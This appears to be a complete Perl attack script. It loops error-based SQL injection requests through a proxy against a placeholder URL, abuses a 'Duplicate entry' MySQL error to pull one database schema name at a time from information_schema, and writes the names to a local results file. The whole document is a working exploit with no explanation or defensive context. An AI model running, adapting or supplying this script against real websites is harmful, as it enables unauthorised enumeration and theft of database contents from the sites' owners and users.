#!/usr/bin/perl -w
# target
use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my $proxy="http://xx.xxx.xxx.xxx:port"; # proxy
$ua->proxy(['http','https'],$proxy);

my $i=0;
while(1)
{
 my $req = HTTP::Request->new(GET => "http://[host][path]/?variable=(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((SELECT+SCHEMA_NAME+FROM+information_schema.SCHEMATA+limit+$i,1),floor(rand(0)*2)))--+");
 my $res = $ua->request($req);

 if ($res->as_string =~ /Duplicate entry(.+)for/)
 {
 open(FILE,'>>results.txt');
 print "print $i: $1\n";
 print FILE "$1\n";
 close(FILE);
 $i++;
 }
  else {last;}
}